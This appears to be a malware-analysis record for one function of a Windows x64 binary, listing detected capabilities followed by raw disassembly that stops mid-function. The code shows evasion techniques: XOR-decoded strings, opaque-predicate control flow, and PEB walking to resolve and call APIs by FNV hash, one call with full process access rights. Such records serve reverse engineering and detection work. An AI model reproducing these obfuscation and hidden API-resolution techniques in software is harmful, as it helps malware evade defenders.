Function at 0x1402c2220
Capabilities:
Access peb ldr_data
Check os version
Encode data using xor
Get number of processors
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r12
push r14
push r15
sub rsp, 0x120
movzx eax, byte [0x1403ee124]
mov esi, dword [0x1403ee190]
add eax, esi
cmp eax, 0x4b
ja 0x1402c2842
je 0x1402c26f2
cmp eax, 6
je 0x1402c25a0
cmp eax, 0x15
je 0x1402c245f
cmp eax, 0x28
jne 0x1402c2858
movdqa xmm0, xmmword [0x1403c7a30]
movdqu xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], 0x8000
mov dword [rsp + 0x39], 0xb8b3c7
mov word [rsp + 0x3d], 0x305
mov byte [rsp + 0x3f], 0xb3
mov byte [rsp + 0x38], 0
xor r12d, r12d
mov r10d, r12d
lea r8, [rsp + 0x32]
lea edi, [r10 + r10*2]
movzx ecx, byte [rsp + rdi + 0x20]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx ebx, r11b
add bl, byte [rsp + 0x3b]
xor bl, cl
mov byte [r8], bl
xor dl, dl
lea eax, [rdi + 1]
movzx r9d, byte [rsp + rax + 0x20]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c22f6
inc dl
cmp dl, 4
jne 0x1402c22e0
jmp 0x1402c2304
movsx ecx, bl
movzx eax, byte [rsp + 0x3e]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rdi + 2]
lea rbx, [rsp + 0x20]
add rbx, rcx
movzx r9d, byte [rbx]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c2336
inc dl
cmp dl, 8
jne 0x1402c2320
jmp 0x1402c2345
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x3d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rbx]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402c2362
inc cl
cmp cl, 5
jne 0x1402c2350
jmp 0x1402c2371
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x3c]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x3a]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 6
jne 0x1402c22b0
mov eax, 0xcccccccd
mul esi
shr edx, 2
lea eax, [rdx + rdx*4]
sub esi, eax
cmp byte [rsp + rsi + 0x32], 9
je 0x1402c2450
mov r9b, 2
mov r8d, 0x1d109bfe
mov cl, Ordinal_30
mov eax, r8d
shr eax, cl
test al, 1
je 0x1402c23c4
lea ecx, [r9 + 1]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402c23fb
lea eax, [r9 + 2]
movzx edx, al
bt r8d, edx
setae dl
movzx eax, r9b
bt r8d, eax
setae al
test al, dl
je 0x1402c23fb
mov cl, 9
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402c23fb
mov cl, 0xb
shr r8d, cl
test r8b, 1
je 0x1402c3364
mov r8d, 0x8cfe41aa
mov cl, 0x18
mov eax, r8d
shr eax, cl
test al, 1
je 0x1402c2419
lea ecx, [r9 + 1]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402c2450
lea eax, [r9 + 2]
movzx edx, al
bt r8d, edx
setae dl
movzx eax, r9b
bt r8d, eax
setae al
test al, dl
je 0x1402c2450
mov cl, 9
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402c2450
mov cl, reloc.WS2_32.dll_setsockopt
shr r8d, cl
test r8b, 1
je 0x1402c3364
mov dword [0x1403ee190], 3
jmp 0x1402c3364
movdqa xmm0, xmmword [0x1403c7400]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x35], 0xb3b3c7
mov word [rsp + 0x39], 0x305
mov byte [rsp + 0x3b], 0xb8
mov byte [rsp + 0x34], 0
xor r12d, r12d
mov r10d, r12d
lea r8, [rsp + 0x2f]
nop dword [rax]
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0x20]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea edi, [rax + r10]
movzx r11d, byte [rsp + 0x37]
add r11b, dil
xor r11b, cl
mov byte [r8], r11b
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x20]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c24e6
inc dl
cmp dl, 4
jne 0x1402c24d0
jmp 0x1402c24f5
movsx ecx, r11b
movzx eax, byte [rsp + 0x3a]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rbx + 2]
lea r11, [rsp + 0x20]
add r11, rcx
movzx r9d, byte [r11]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c2526
inc dl
cmp dl, 8
jne 0x1402c2510
jmp 0x1402c2535
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x39]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r11]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402c2552
inc cl
cmp cl, 5
jne 0x1402c2540
jmp 0x1402c2561
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x38]
btc ecx, eax
mov byte [r8], cl
movzx eax, byte [rsp + 0x36]
add al, dil
xor byte [r8], al
inc r10d
inc r8
cmp r10d, 5
jne 0x1402c24a0
mov eax, 0xcccccccd
mul esi
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, esi
sub ecx, eax
cmp byte [rsp + rcx + 0x2f], 0x27
jne 0x1402c3364
add esi, 0x1d
jmp 0x1402c335e
movdqa xmm0, xmmword [0x1403c81d0]
movdqu xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [0x1403c7320]
movdqu xmmword [rsp + 0x30], xmm1
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x45], 0xb3b3c7
mov word [rsp + 0x49], 0x305
mov byte [rsp + 0x4b], 0xb8
mov byte [rsp + 0x44], 0
xor r12d, r12d
mov r10d, r12d
lea r8, [rsp + 0x3b]
nop dword [rax + rax]
lea edi, [r10 + r10*2]
movzx ecx, byte [rsp + rdi + 0x20]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx ebx, r11b
add bl, byte [rsp + 0x47]
xor bl, cl
mov byte [r8], bl
xor dl, dl
lea eax, [rdi + 1]
movzx r9d, byte [rsp + rax + 0x20]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c2636
inc dl
cmp dl, 4
jne 0x1402c2620
jmp 0x1402c2644
movsx ecx, bl
movzx eax, byte [rsp + 0x4a]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rdi + 2]
lea rbx, [rsp + 0x20]
add rbx, rcx
movzx r9d, byte [rbx]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c2676
inc dl
cmp dl, 8
jne 0x1402c2660
jmp 0x1402c2685
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x49]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rbx]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402c26a2
inc cl
cmp cl, 5
jne 0x1402c2690
jmp 0x1402c26b1
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x48]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x46]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 9
jne 0x1402c25f0
mov eax, 0xcccccccd
mul esi
shr edx, 2
lea eax, [rdx + rdx*4]
sub esi, eax
cmp byte [rsp + rsi + 0x3b], 0x2e
jne 0x1402c3364
mov dword [0x1403ee190], 0x16
jmp 0x1402c3364
movdqa xmm0, xmmword [0x1403c79f0]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0x1035000
mov qword [rsp + 0x34], 0x50
mov dword [rsp + 0x3d], 0xb377b8
mov word [rsp + 0x41], 0x305
mov byte [rsp + 0x43], 0xb8
mov byte [rsp + 0x3c], 0
xor r12d, r12d
mov r10d, r12d
lea r8, [rsp + 0x35]
nop word [rax + rax]
lea edi, [r10 + r10*2]
movzx ecx, byte [rsp + rdi + 0x20]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx ebx, r11b
add bl, byte [rsp + 0x3f]
xor bl, cl
mov byte [r8], bl
xor dl, dl
lea eax, [rdi + 1]
movzx r9d, byte [rsp + rax + 0x20]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c2786
inc dl
cmp dl, 4
jne 0x1402c2770
jmp 0x1402c2794
movsx ecx, bl
movzx eax, byte [rsp + 0x42]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rdi + 2]
lea rbx, [rsp + 0x20]
add rbx, rcx
movzx r9d, byte [rbx]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c27c6
inc dl
cmp dl, 8
jne 0x1402c27b0
jmp 0x1402c27d5
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x41]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rbx]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402c27f2
inc cl
cmp cl, 5
jne 0x1402c27e0
jmp 0x1402c2801
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x40]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x3e]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 7
jne 0x1402c2740
mov eax, 0xcccccccd
mul esi
shr edx, 2
lea eax, [rdx + rdx*4]
sub esi, eax
cmp byte [rsp + rsi + 0x35], 0x3b
jne 0x1402c3364
mov dword [0x1403ee190], 0xc
jmp 0x1402c3364
cmp eax, 0x2227
je 0x1402c31be
cmp eax, 0x23fb
je 0x1402c2b0d
movdqa xmm0, xmmword [0x1403c81f0]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1403c7ac0]
movdqa xmmword [rsp + 0x80], xmm1
movdqa xmm0, xmmword [0x1403c74d0]
movdqa xmmword [rsp + 0x90], xmm0
movdqa xmm1, xmmword [0x1403c83f0]
movdqa xmmword [rsp + 0xa0], xmm1
movdqa xmm0, xmmword [0x1403c7ab0]
movdqa xmmword [rsp + 0xb0], xmm0
movdqa xmm1, xmmword [0x1403c8060]
movdqa xmmword [rsp + 0xc0], xmm1
movdqa xmm0, xmmword [0x1403c7e10]
movdqa xmmword [rsp + 0xd0], xmm0
movdqa xmm1, xmmword [0x1403c7060]
movdqa xmmword [rsp + 0xe0], xmm1
xorps xmm0, xmm0
movdqa xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0x100], 0
mov dword [rsp + 0x108], 0
mov dword [rsp + 0x10d], 0xb3b3c7
mov word [rsp + 0x111], 0x305
mov byte [rsp + 0x113], Ordinal_200
mov byte [rsp + 0x10c], 0
xor r12d, r12d
mov r10d, r12d
lea r8, [rsp + 0xe5]
nop dword [rax]
nop word [rax + rax]
lea edi, [r10 + r10*2]
movzx ecx, byte [rsp + rdi + 0x70]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx ebx, r11b
add bl, byte [rsp + 0x10f]
xor bl, cl
mov byte [r8], bl
xor dl, dl
lea eax, [rdi + 1]
movzx r9d, byte [rsp + rax + 0x70]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c2987
inc dl
cmp dl, 4
jne 0x1402c2971
jmp 0x1402c2998
movsx ecx, bl
movzx eax, byte [rsp + 0x112]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rdi + 2]
lea rbx, [rsp + 0x70]
add rbx, rcx
movzx r9d, byte [rbx]
nop dword [rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c29c6
inc dl
cmp dl, 8
jne 0x1402c29b0
jmp 0x1402c29d8
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x111]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rbx]
nop dword [rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402c29f2
inc cl
cmp cl, 5
jne 0x1402c29e0
jmp 0x1402c2a04
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x110]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x10e]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 0x27
jne 0x1402c2940
mov eax, 0x38e38e39
mul esi
shr edx, 3
lea ecx, [rdx + rdx*8]
shl ecx, 2
mov eax, esi
sub eax, ecx
cmp byte [rsp + rax + 0xe5], 0x20
jne 0x1402c2a4c
mov dword [0x1403ee190], 9
jmp 0x1402c3364
mov r9b, 2
mov r8d, 0x45fd043
mov cl, 0x18
mov eax, r8d
shr eax, cl
test al, 1
je 0x1402c2a71
lea ecx, [r9 + 1]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402c2b05
lea eax, [r9 + 2]
movzx edx, al
bt r8d, edx
setae dl
movzx eax, r9b
bt r8d, eax
setae al
test al, dl
je 0x1402c2b05
mov cl, 9
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402c2b05
mov cl, reloc.WS2_32.dll_select
shr r8d, cl
test r8b, 1
jne 0x1402c2b05
mov r8d, 0xb654690b
mov cl, reloc.WLDAP32.dll_Ordinal_30
mov eax, r8d
shr eax, cl
test al, 1
je 0x1402c2ac2
lea ecx, [r9 + 1]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402c2af9
lea eax, [r9 + 2]
movzx edx, al
bt r8d, edx
setae dl
movzx eax, r9b
bt r8d, eax
setae al
test al, dl
je 0x1402c2af9
mov cl, 9
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402c2af9
mov cl, reloc.WS2_32.dll_setsockopt
shr r8d, cl
test r8b, 1
je 0x1402c3364
mov dword [0x1403ee190], r12d
jmp 0x1402c3364
add esi, 0x11
jmp 0x1402c335e
movdqa xmm0, xmmword [0x1403c7d90]
movdqu xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], 0x8000
mov dword [rsp + 0x39], 0xc777b8
mov word [rsp + 0x3d], 0x305
mov byte [rsp + 0x3f], 0x77
mov byte [rsp + 0x38], 0
xor r12d, r12d
mov r10d, r12d
lea r8, [rsp + 0x32]
nop dword [rax + rax]
lea edi, [r10 + r10*2]
movzx ecx, byte [rsp + rdi + 0x20]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx ebx, r11b
add bl, byte [rsp + 0x3b]
xor bl, cl
mov byte [r8], bl
xor dl, dl
lea eax, [rdi + 1]
movzx r9d, byte [rsp + rax + 0x20]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c2b96
inc dl
cmp dl, 4
jne 0x1402c2b80
jmp 0x1402c2ba4
movsx ecx, bl
movzx eax, byte [rsp + 0x3e]
btc ecx, eax
mov byte [r8], cl
mov dl, 5
lea ecx, [rdi + 2]
lea rbx, [rsp + 0x20]
add rbx, rcx
movzx r9d, byte [rbx]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c2bd6
inc dl
cmp dl, 8
jne 0x1402c2bc0
jmp 0x1402c2be5
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x3d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rbx]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402c2c02
inc cl
cmp cl, 5
jne 0x1402c2bf0
jmp 0x1402c2c11
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x3c]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x3a]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 6
jne 0x1402c2b50
mov eax, 0xcccccccd
mul esi
shr edx, 2
lea eax, [rdx + rdx*4]
sub esi, eax
mov ecx, Ordinal_50
mov edx, 5
cmp byte [rsp + rsi + 0x32], 0xa
cmovne ecx, edx
mov dword [0x1403ee190], ecx
mov edx, 0x1f181d45
mov cl, reloc.WLDAP32.dll_Ordinal_26
mov eax, edx
shr eax, cl
test al, 1
je 0x1402c2c6b
mov cl, 3
inc cl
mov eax, edx
shr eax, cl
test al, 1
jne 0x1402c2c97
mov cl, 3
mov eax, edx
shr eax, cl
test al, 1
jne 0x1402c2c97
add cl, 2
mov eax, edx
shr eax, cl
test al, 1
jne 0x1402c2c97
mov cl, 9
mov eax, edx
shr eax, cl
test al, 1
jne 0x1402c2c97
mov cl, ntohs
shr edx, cl
test dl, 1
je 0x1402c3364
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1402c31b6
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x1402c31b6
mov r14d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r14 + rbx*4]
mov r9d, dword [rcx + r11]
add r9, r11
mov r10d, 0x11701eeb
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1402c31ae
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1402c2d03
cmp r10d, 0x7e0444fd
jne 0x1402c31ae
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov ecx, dword [rcx + rax*4]
add rcx, r11
call rcx
mov r10d, eax
cmp eax, 0x3d3582bd
je 0x1402c2dc4
lea ecx, [rax + 0x43a2edb5]
cmp ecx, 0xcfe5ee4
jbe 0x1402c2dc4
mov dl, 2
mov r9d, 0xc0a60c0a
mov cl, 0x18
mov eax, r9d
shr eax, cl
test al, 1
je 0x1402c2d8a
lea ecx, [rdx + 1]
mov eax, r9d
shr eax, cl
test al, 1
jne 0x1402c2dc4
movzx eax, dl
add dl, dl
movzx r8d, dl
bt r9d, eax
setae dl
bt r9d, r8d
setae al
test al, dl
je 0x1402c2dc4
mov cl, 9
mov eax, r9d
shr eax, cl
test al, 1
jne 0x1402c2dc4
mov cl, listen
shr r9d, cl
test r9b, 1
jne 0x1402c2dc4
test r10d, r10d
jne 0x1402c3364
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1402c31a6
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x1402c31a6
mov r14d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r14 + rbx*4]
mov r9d, dword [rcx + r11]
add r9, r11
mov r10d, 0xbac40b07
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1402c319e
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1402c2e33
cmp r10d, 0xa7ae0a00
jne 0x1402c319e
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov r9d, dword [rcx + rax*4]
add r9, r11
xor edx, edx
mov ecx, 0x1fffff
mov r8d, 0xabbf0d4e
call r9
mov r15, rax
mov dl, 3
mov r9d, 0x5c5f5caf
mov cl, reloc.WS2_32.dll_socket
mov eax, r9d
shr eax, cl
test al, 1
je 0x1402c2eb4
lea ecx, [rdx + 1]
mov eax, r9d
shr eax, cl
test al, 1
jne 0x1402c2eea
movzx eax, dl
add dl, 2
movzx r8d, dl
bt r9d, eax
setae dl
bt r9d, r8d
setae al
test al, dl
je 0x1402c2eea
mov cl, 9
mov eax, r9d
shr eax, cl
test al, 1
jne 0x1402c2eea
mov cl, 0xb
shr r9d, cl
test r9b, 1
je 0x1402c2fc1
test r15, r15
je 0x1402c2fc1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1402c2fb9
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x1402c2fb9
mov r14d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r14 + rbx*4]
mov r9d, dword [rcx + r10]
add r9, r10
mov r11d, 0xb0fabec7
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1402c2fb5
nop
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r11d
imul r11d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1402c2f60
cmp r11d, 0x116578db
jne 0x1402c2fb5
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + rbx*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, r15
call rdx
nop
jmp 0x1402c3364
test ebx, ebx
jne 0x1402c2f40
mov rax, qword [rax]
jmp 0x1402c2f10
xor dl, dl
mov r9d, 0xaee6d140
mov cl, reloc.WLDAP32.dll_Ordinal_26
mov eax, r9d
shr eax, cl
test al, 1
je 0x1402c2fe0
lea ecx, [rdx + 1]
mov eax, r9d
shr eax, cl
test al, 1
jne 0x1402c3012
movzx eax, dl
add dl, 2
movzx r8d, dl
bt r9d, eax
setae dl
bt r9d, r8d
setae al
test al, dl
je 0x1402c3012
mov cl, 9
mov eax, r9d
shr eax, cl
test al, 1
jne 0x1402c3012
mov cl, reloc.WS2_32.dll_sendto
shr r9d, cl
test r9b, 1
je 0x1402c2fb0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1402c3196
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x1402c3196
mov r14d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r11 + rbx*4]
mov r9d, dword [rcx + r14]
add r9, r11
mov r10d, 0xfbc2ab5d
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1402c318e
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1402c3083
cmp r10d, 0x63033fed
jne 0x1402c318e
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov r8d, dword [rcx + rax*4]
add r8, r11
mov edx, dword [0x1403e9cfc]
mov ecx, dword [0x1403e9cf8]
call r8
cmp word [0x1403e9d9e], 0
jne 0x1402c2fb0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1402c317e
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x1402c317e
mov r14d, dword [rdi + 0x20]
dec ebx
lea rcx, [r10 + rbx*4]
mov r9d, dword [rcx + r14]
add r9, r10
mov r11d, 0x2ebb82c6
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1402c317a
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r11d
imul r11d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1402c3142
cmp r11d, 0x793d9c
je 0x1402c2f94
test ebx, ebx
jne 0x1402c3123
mov rax, qword [rax]
jmp 0x1402c3100
test ebx, ebx
jne 0x1402c3060
mov rax, qword [rax]
jmp 0x1402c3030
test ebx, ebx
jne 0x1402c2e10
mov rax, qword [rax]
jmp 0x1402c2de0
test ebx, ebx
jne 0x1402c2ce0
mov rax, qword [rax]
jmp 0x1402c2cb0
movdqa xmm0, xmmword [0x1403c78a0]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x35], 0xb8b877
mov word [rsp + 0x39], 0x305
mov byte [rsp + 0x3b], 0xb3
mov byte [rsp + 0x34], 0
xor r12d, r12d
mov r10d, r12d
lea r9, [rsp + 0x2f]
nop dword [rax + rax]
lea edx, [r10 + r10*2]
movzx ecx, byte [rsp + rdx + 0x20]
mov byte [r9], cl
movzx eax, r10b
add al, al
lea ebx, [rax + r10]
movzx r11d, byte [rsp + 0x37]
add r11b, bl
xor r11b, cl
mov byte [r9], r11b
xor r8b, r8b
lea eax, [rdx + 1]
movzx edx, byte [rsp + rax + 0x20]
movzx eax, dl
movzx ecx, r8b
sar al, cl
test al, 1
jne 0x1402c3248
inc r8b
cmp r8b, 4
jne 0x1402c3230
jmp 0x1402c3257
movsx ecx, r11b
movzx eax, byte [rsp + 0x3a]
btc ecx, eax
mov byte [r9], cl
mov dl, 5
lea eax, [r10 + 1]
lea eax, [r10 + rax*2]
movzx r8d, byte [rsp + rax + 0x20]
nop word [rax + rax]
movzx eax, r8b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c3286
inc dl
cmp dl, 8
jne 0x1402c3270
jmp 0x1402c3295
movsx ecx, byte [r9]
movzx eax, byte [rsp + 0x39]
btc ecx, eax
mov byte [r9], cl
xor dl, dl
lea eax, [r10 + 1]
lea eax, [r10 + rax*2]
movzx r8d, byte [rsp + rax + 0x20]
nop word [rax + rax]
movzx eax, r8b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402c32c6
inc dl
cmp dl, 5
jne 0x1402c32b0
jmp 0x1402c32d5
movsx ecx, byte [r9]
movzx eax, byte [rsp + 0x38]
btc ecx, eax
mov byte [r9], cl
movzx eax, byte [rsp + 0x36]
add al, bl
xor byte [r9], al
inc r10d
inc r9
cmp r10d, 5
jne 0x1402c3200
mov eax, 0xcccccccd
mul esi
shr edx, 2
lea eax, [rdx + rdx*4]
mov ecx, esi
sub ecx, eax
cmp byte [rsp + rcx + 0x2f], 0x10
jne 0x1402c3364
xor r9b, r9b
mov r8d, 0xac1813db
mov cl, reloc.WLDAP32.dll_Ordinal_27
mov eax, r8d
shr eax, cl
test al, 1
je 0x1402c3328
lea ecx, [r9 + 1]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402c335b
lea eax, [r9 + 2]
movzx edx, al
bt r8d, edx
setae dl
movzx eax, r9b
bt r8d, eax
setae al
test al, dl
je 0x1402c335b
mov cl, 9
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402c335b
mov cl, reloc.WS2_32.dll_select
shr r8d, cl
test r8b, 1
je 0x1402c3364
add esi, 0xfffffff9
mov dword [0x1403ee190], esi
mov dword [rsp + 0x20], 0x80011
mov dword [rsp + 0x24], 0x3ca0080
mov dword [rsp + 0x28], 0x100008
mov dword [rsp + 0x2c], 0x80399
mov dword [rsp + 0x30], 0x560080
mov dword [rsp + 0x34], 0x900000
mov dword [rsp + 0x38], reloc.WS2_32.dll_send
mov qword [rsp + 0x3c], 0x80
mov dword [rsp + 0x44], 0
mov dword [rsp + 0x48], 0xc7b30000
mov dword [rsp + 0x4c], 0x30500c7
mov word [rsp + 0x50], 0x77
lea r10, [rsp + 0x3e]
nop dword [rax]
lea edx, [r12 + r12*2]
movzx ecx, word [rsp + rdx*2 + 0x20]
mov word [r10], cx
movzx eax, r12w
add ax, ax
lea r11d, [rax + r12]
movzx r9d, byte [rsp + 0x4c]
add r9w, r11w
xor r9w, cx
mov word [r10], r9w
xor r8b, r8b
lea eax, [rdx + 1]
movzx edx, word [rsp + rax*2 + 0x20]
nop word [rax + rax]
movzx ecx, r8b
movzx eax, dx
shr ax, cl
test al, 1
jne 0x1402c3429
inc r8b
cmp r8b, 4
jne 0x1402c3410
jmp 0x1402c343a
movzx r9d, r9w
movzx eax, byte [rsp + 0x4f]
btc r9d, eax
mov word [r10], r9w
mov dl, 5
lea eax, [r12 + 1]
lea eax, [r12 + rax*2]
movzx r8d, word [rsp + rax*2 + 0x20]
nop dword [rax + rax]
movzx ecx, dl
movzx eax, r8w
shr ax, cl
test al, 1
jne 0x1402c3467
inc dl
cmp dl, 8
jne 0x1402c3450
jmp 0x1402c347b
movzx ecx, r9w
movzx eax, byte [rsp + 0x4e]
btc ecx, eax
